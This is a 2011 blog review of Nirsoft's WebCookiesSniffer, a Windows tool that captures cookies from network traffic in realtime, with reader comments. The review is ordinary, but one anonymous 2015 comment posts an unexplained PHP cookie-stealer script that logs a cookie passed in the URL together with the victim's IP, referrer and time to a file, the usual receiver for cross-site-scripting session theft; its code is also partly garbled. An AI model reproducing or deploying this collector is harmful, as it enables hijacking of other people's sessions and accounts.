WebCookiesSniffer, Capture Cookies In Realtime

Martin Brinkmann
Sep 29, 2011
Software, Windows, Windows software
|
4

The main purpose of cookies is to make life on the Internet more comfortable. The little data files can however also be used for tracking purposes. They are needed but at the same time very controversial. I have touched the subject quite a few times here on Ghacks. In How To Whitelist Cookies And Delete The Rest Regularly and Configure Firefox To Delete All Cookies On Exit But Select Ones I explained how to make sure you'd only keep a set of "good" cookies while deleting the rest regularly to avoid tracking and spying.

Sometimes though you may want to see which cookies are written to the system in realtime. While you could configure your browser to display warnings about each cookie that is about to be written, it is often not the most comfortable thing to do considering that it breaks the workflow big time.

The new Nirsoft application WebCookiesSniffer on the other hand deals with cookies without interrupting the browsing experience. The program requires the free software WinPcap Capture Driver or Microsoft's Network Monitor Driver to capture cookies in realtime. You can alternatively try the Raw Socket method which is however less reliable than the other two options.

web cookies sniffer

When you first start the program you are asked to pick a capture method and network adapter. The program will then pick up all new cookies that are created on the system. The program itself is browser independent which means that it will display cookies from all web browsers installed on the system.

Each cookie is displayed with its host name, request path, length, count and string. When you select a cookie all of its values are displayed in the lower half of the screen. There are no options to edit or delete which is unfortunate. As is that you cannot link a cookie to the website that triggered its creation.

The portable software comes with the usual assortment of exporting options. You can create HTML reports or save selected cookies as text, xml or csv files.

The ability to edit or delete cookies would come in handy. As would an option to display the website that triggered the cookies creation. Finally, an option to filter by browser would be handy as well.

Windows users can download the latest version of WebCookiesSniffer from the official Nirsoft project website. The program is compatible with 32-bit and 64-bit editions of the Microsoft Windows operating system.

Advertisement

Tutorials & Tips


Previous Post: «
Next Post: «

Comments

  1. Kabooki said on October 4, 2011 at 9:47 am
    Reply

    I too use Norton 360 and added with Malwarebytes
    I have downloaded loads from Nirsoft
    and scan both zipped and unzipped files
    with no virus or malware detections..

  2. James said on October 2, 2011 at 10:44 am
    Reply

    For some odd reason, Norton360 keeps finding viruses in all of the Nirsoft downloads. I’m sorry, but I don’t think I’ll be downloading from them again.

    1. Anonymous said on June 24, 2015 at 4:50 pm
      Reply

      <?php
      $cookie = $_GET['cookie'];
      $ip = $_SERVER['REMOTE_ADDR'];
      $date=date(“j F, Y, g:i a”);
      $refere$_SERVER['HTTP_REFERER'];
      $fp = fopen('cookies.html', 'a');
      fwrite($fp, 'Cookie: '.$cookie.' IP: ‘ .$ip. ‘ Date and Time: ‘ .$date. ‘ Website: ‘.$referer.”);
      fclose($fp);
      header (“javascript:history.back()”);
      ?>

    2. Martin Brinkmann said on October 2, 2011 at 12:25 pm
      Reply

      Maybe it is time to switch security software instead?

Leave a Reply

Check the box to consent to your data being stored in line with the guidelines set out in our privacy policy

We love comments and welcome thoughtful and civilized discussion. Rudeness and personal attacks will not be tolerated. Please stay on-topic.
Please note that your comment may not appear immediately after you post it.